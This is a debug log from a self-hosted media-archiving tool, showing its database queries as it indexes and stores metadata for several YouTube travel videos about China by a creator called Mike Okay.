m0 WHERE (m0."id" = ?) [1] 18:59:20.560 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [404257] 18:59:20.560 [debug] Current batch of media processed. Will check again in 1000ms 18:59:21.561 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "duration" => 2334, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", "id" => "k8tdg6v0FQo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=k8tdg6v0FQo", "playlist_index" => 2, "timestamp" => 1784303950, "title" => "China's Most Viral City Is Hiding a Dying Job", "upload_date" => "20260717"} 18:59:21.562 [debug] QUERY OK source="sources" db=0.2ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:59:21.562 [debug] QUERY OK source="sources" db=0.1ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:21.562 [debug] QUERY OK source="media_items" db=0.2ms idle=1002.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-17 15:59:10Z], 3] 18:59:21.564 [debug] QUERY OK source="media_items" db=0.8ms idle=1002.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "7321d90e-167a-49f5-9684-1a0e009c90e3", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", 2, "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, false, false, 3, [], 98, ~U[2026-07-17 15:59:10Z], ~U[2026-08-20 01:59:21Z], ~U[2026-08-20 01:59:21Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, 3, ~U[2026-07-17 15:59:10Z]] 18:59:21.564 [debug] QUERY OK source="sources" db=0.1ms idle=19.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:21.564 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:21.565 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [342888] 18:59:21.565 [debug] Current batch of media processed. Will check again in 1000ms 18:59:22.566 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "duration" => 2295, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", "id" => "7sCIBpshaCI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=7sCIBpshaCI", "playlist_index" => 3, "timestamp" => 1782502970, "title" => "China's Loneliest Man Shows Me His World", "upload_date" => "20260626"} 18:59:22.567 [debug] QUERY OK source="sources" db=0.2ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:59:22.567 [debug] QUERY OK source="sources" db=0.2ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:22.568 [debug] QUERY OK source="media_items" db=0.3ms idle=1002.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-26 19:42:50Z], 3] 18:59:22.569 [debug] QUERY OK source="media_items" db=0.8ms idle=1003.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "08c94a57-2f50-4a15-b32b-f96ce09c71c7", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", 3, "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, false, false, 3, [], 98, ~U[2026-06-26 19:42:50Z], ~U[2026-08-20 01:59:22Z], ~U[2026-08-20 01:59:22Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, 3, ~U[2026-06-26 19:42:50Z]] 18:59:22.569 [debug] QUERY OK source="sources" db=0.2ms idle=22.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:22.570 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:22.570 [debug] QUERY OK source="media_items" db=0.2ms idle=2.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [251562] 18:59:22.570 [debug] Current batch of media processed. Will check again in 1000ms 18:59:23.571 [debug] Current batch of media processed. Will check again in 1000ms 18:59:24.572 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "duration" => 1064, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", "id" => "MEDlM-cA1Z8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MEDlM-cA1Z8", "playlist_index" => 4, "timestamp" => 1781884520, "title" => "Inside China's Insane Propaganda Theme Park", "upload_date" => "20260619"} 18:59:24.573 [debug] QUERY OK source="sources" db=0.2ms idle=790.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:59:24.573 [debug] QUERY OK source="sources" db=0.2ms idle=791.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:24.574 [debug] QUERY OK source="media_items" db=0.2ms idle=791.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-19 15:55:20Z], 3] 18:59:24.575 [debug] QUERY OK source="media_items" db=0.7ms idle=792.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "4439e498-67e0-4251-bb99-10680ba9584f", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", 4, "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, false, false, 3, [], 98, ~U[2026-06-19 15:55:20Z], ~U[2026-08-20 01:59:24Z], ~U[2026-08-20 01:59:24Z], "Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, 3, ~U[2026-06-19 15:55:20Z]] 18:59:24.575 [debug] QUERY OK source="sources" db=0.2ms idle=25.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:24.576 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:24.576 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [220422] 18:59:24.576 [debug] Current batch of media processed. Will check again in 1000ms 18:59:25.577 [debug] Current batch of media processed. Will check again in 1000ms 18:59:26.578 [debug] Current batch of media processed. Will check again in 1000ms 18:59:27.579 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "duration" => 2055, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", "id" => "B_S4NGLGbIM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=B_S4NGLGbIM", "playlist_index" => 5, "timestamp" => 1781282249, "title" => "Finding China’s Lost Cave Village (30 years abandoned)", "upload_date" => "20260612"} 18:59:27.580 [debug] QUERY OK source="sources" db=0.2ms idle=1797.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:59:27.580 [debug] QUERY OK source="sources" db=0.1ms idle=1798.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:27.581 [debug] QUERY OK source="media_items" db=0.3ms idle=1798.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-12 16:37:29Z], 3] 18:59:27.582 [debug] QUERY OK source="media_items" db=0.9ms idle=1029.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "48a3b448-7031-4c32-a0c5-3c800b4de7c4", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", 5, "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, false, false, 3, [], 98, ~U[2026-06-12 16:37:29Z], ~U[2026-08-20 01:59:27Z], ~U[2026-08-20 01:59:27Z], 